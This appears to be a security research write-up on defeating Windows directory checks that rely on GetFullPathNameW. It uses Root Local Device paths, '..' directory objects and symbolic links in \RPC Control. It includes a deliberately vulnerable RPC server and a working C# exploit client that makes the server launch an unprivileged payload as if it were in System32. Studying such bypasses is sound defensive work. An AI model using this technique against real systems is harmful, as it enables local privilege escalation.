GETFULLPATHNAME DIRECTORY CHECK BYPASS
Take the following code for example.
C1BOOL VerifySubdirectoryIsSystem32(LPWSTR path) 2{ 3 WCHAR fullPath[MAX_PATH] = { 0 }; 4 5 DWORD res = GetFullPathNameW(path, MAX_PATH, fullPath, NULL); 6 if (res == 0) 7 return FALSE; 8 9 // C:\\Windows\\System32\\ must be subpath of fullPath 10 return CheckSubdirectoryInPathString(fullPath, L"C:\\Windows\\System32\\"); 11} 12 13// Execute process so long as it is located in C:\Windows\System32 14RPC_STATUS RPC_DoSensitiveOperation(RPC_BINDING_HANDLE handle, LPWSTR inputPath) 15{ 16 if (VerifySubdirectoryIsSystem32(inputPath)) 17 { 18 CreateProcessW(inputPath, ...); 19 return RPC_S_OK; 20 } 21 22 return 1; 23}
This looks pretty secure, however do to the way DOS Paths get converted to NT Paths internally, this setup can be broken.
In Windows, all path conversions are done in user-mode. The NT Object Manager has no knowledge of special directories such as . and ... When you call kernel32 API's with this special directories in them, they get resolved before the corresponding NT syscall gets made. This functionality is implemented in ntdll as the function RtlGetFullPathName_U, and exported to users as GetFullPathName(W/A).
This function is typically called by kernel32 APIs via the RtlDosPathNameToRelativeNtPathName_U, which will convert our DOS Paths to NT Paths.
PLAINTEXT1Example: 2 3CreateFileA 4 Converts file path from DOS Path to NT Path 5 RtlDosPathNameToRelativeNtPathName_U 6 -> RtlGetFullPathName_U 7 finish converting full path name to NT path 8 Takes NT Path and makes syscall 9 NtCreateFile
One interesting thing to note, however, is that RtlDosPathNameToRelativeNtPathName_U has a special case for Root Local Device paths (e.g. \??\C:\test.txt). Root Local Device paths are used as a way to escape directly into the NT Object Manager, allowing you to access devices and other objects.
C1if (DosPath->Length > 8) 2{ 3 WCHAR* buffer = DosPath->Buffer; 4 if (*buffer == '\\') 5 { 6 if (buffer[1] == '\\' || buffer[1] == '?') 7 && buffer[2] == '?' && buffer[3] == '\\') 8 { 9 return RtlpWin32NtNameToNtPathName(DosPath, ...); 10 } 11 } 12} 13// Continue with processing.
If the DOS Path specified is a Root Local Device path, we skip RtlGetFullPathName_U and just pass our path straight to our NT Syscall. This allows us to do some interesting things, due to the fact that the NT Object Manager is far more permissive in what characters are allowed to be in an object name. In fact, the only character not allowed in the NT Object Manager is \, due to the fact that backslashes are used as the path separator.
We can abuse this fact via directory objects and symbolic links in the NT Object Manager. \RPC Control\, among other directory objects, is granted a permissive ACL that allows Everyone to both add arbitrary objects as well as sub-directory objects. Due to the permissive character selection we have, we can create a directory object with the name .. inside of \RPC Control\.
Take the following example to see how this can be used in practice:
PLAINTEXT1\RPC Control\..\..\..\test.txt 2^^^^^^^^^^^^^^^^^^^^^ ^ 3Directory Objects \--------- Symbolic Link pointing to: \??\C:\arbirary\dir\arb_file_name.exe 4 5// WILL RETURN HANDLE POINTING TO \??\C:\arbirary\dir\arb_file_name.exe 6CreateFileW(L"\\??\\GLOBALROOT\\RPC Control\\..\\..\\..\\test.txt", ...);
Returning to RtlGetFullPathName_U, this function doesn't handle Root Local Device paths very well. This is due to the fact that RtlGetFullPathName_U has no understanding of NT Paths, and as such treats certain path types such as Root Local Device paths differently than might be expected. RtlGetFullPathName_U treats Root Local Device paths as Rooted paths instead, meaning that the "root" of the path is equivelent to the current volume the process is being ran on.
As such, the path will be canonicalized to DOS Path standards, meaning special directories such as . and .. will be resolved. While these directories hold special meaning to RtlGetFullPathName_U, the NT Object Manager sees them as any other plain object. Because of this, we can make RtlGetFullPathName_U and RtlDosPathNameToRelativeNtPathName_U return different full paths than the input path.
PLAINTEXT1\RPC Control\..\..\..\test.txt 2^^^^^^^^^^^^^^^^^^^^^ ^ 3Directory Objects \--------- Symbolic Link pointing to: \??\C:\arbirary\dir\arb_file_name.exe 4 5LPWSTR path = "\\??\\GLOBALROOT\\RPC Control\\..\\..\\..\\test.txt" 6 7// Returns C:\\test.txt 8GetFullPathNameW(path, ...) 9 10// Opens up \??\C:\arbirary\dir\arb_file_name.exe 11CreateFileW(path, ...)
C1/*********************************************************** 2 Server.c 3************************************************************/ 4BOOL VerifySubdirectoryIsSystem32(LPWSTR path) 5{ 6 WCHAR fullPath[MAX_PATH] = { 0 }; 7 8 DWORD res = GetFullPathNameW(path, MAX_PATH, fullPath, NULL); 9 if (res == 0) 10 return FALSE; 11 12 // C:\\Windows\\System32\\ must be subpath of fullPath 13 return CheckSubdirectoryInPathString(fullPath, L"C:\\Windows\\System32\\"); 14} 15 16// Execute process so long as it is located in C:\Windows\System32 17RPC_STATUS RPC_DoSensitiveOperation(RPC_BINDING_HANDLE handle, LPWSTR inputPath) 18{ 19 if (VerifySubdirectoryIsSystem32(inputPath)) 20 { 21 CreateProcessW(inputPath, ...); 22 return RPC_S_OK; 23 } 24 25 return 1; 26} 27 28/************************************************************ 29 Exploit_Client.cs 30*************************************************************/ 31using NtApiDotNet; 32 33// Create directory objects 34List<NtDirectory> dirs = [ 35 NtDirectory.Create("\\RPC Control\\.."), 36 NtDirectory.Create("\\RPC Control\\..\\.."), 37 NtDirectory.Create("\\RPC Control\\..\\..\\.."), 38 NtDirectory.Create("\\RPC Control\\..\\..\\..\\Windows"), 39 NtDirectory.Create("\\RPC Control\\..\\..\\..\\Windows\\System32") 40]; 41 42// Set symbolic link to payload 43var payloadPath = "\\??\\C:\\Users\\unprivileged\\payload.exe" 44var sym = NtSymbolicLink.Create("\\RPC Control\\..\\..\\..\\Windows\\System32\\payload.exe", payloadPath); 45 46// Create RPC Client 47var client = new RpcClient("endpoint"); 48 49/* 50 Call our RPC Endpoint with our path 51 52 GetFullPathNameW will return "C:\Windows\System32\payload.exe" and will pass the check 53 CreateProcessW will use the Root Local Device path and execute "C:\Users\unprivileged\payload.exe" 54*/ 55var path = "\\??\\GLOBALROOT\\RPC Control\\..\\..\\..\\Windows\\System32\\payload.exe" 56client.RPC_DoSensitiveOperation(path); 57 58return 0; 59
- PathCchCanonicalize
- PathCchCanonicalizeEx
- PathCanonicalizeA
- PathCanonicalizeW
Won't add the drive letter after canonicalization. \\??\\GLOBALROOT\\RPC Control\\..\\..\\..\\Windows\\System32\\payload.exe becomes \\Windows\\System32\\payload.exe. Could still be used to exploit depending on context (resulting path is a Rooted path).
- GetLongPathNameW
- GetLongPathNameA
Doesn't appear to be vulnerable, throws either ERROR_FILE_NOT_FOUND or ERROR_PATH_NOT_FOUND. Research further.
References
https://googleprojectzero.blogspot.com/2016/02/the-definitive-guide-on-win32-to-nt.html
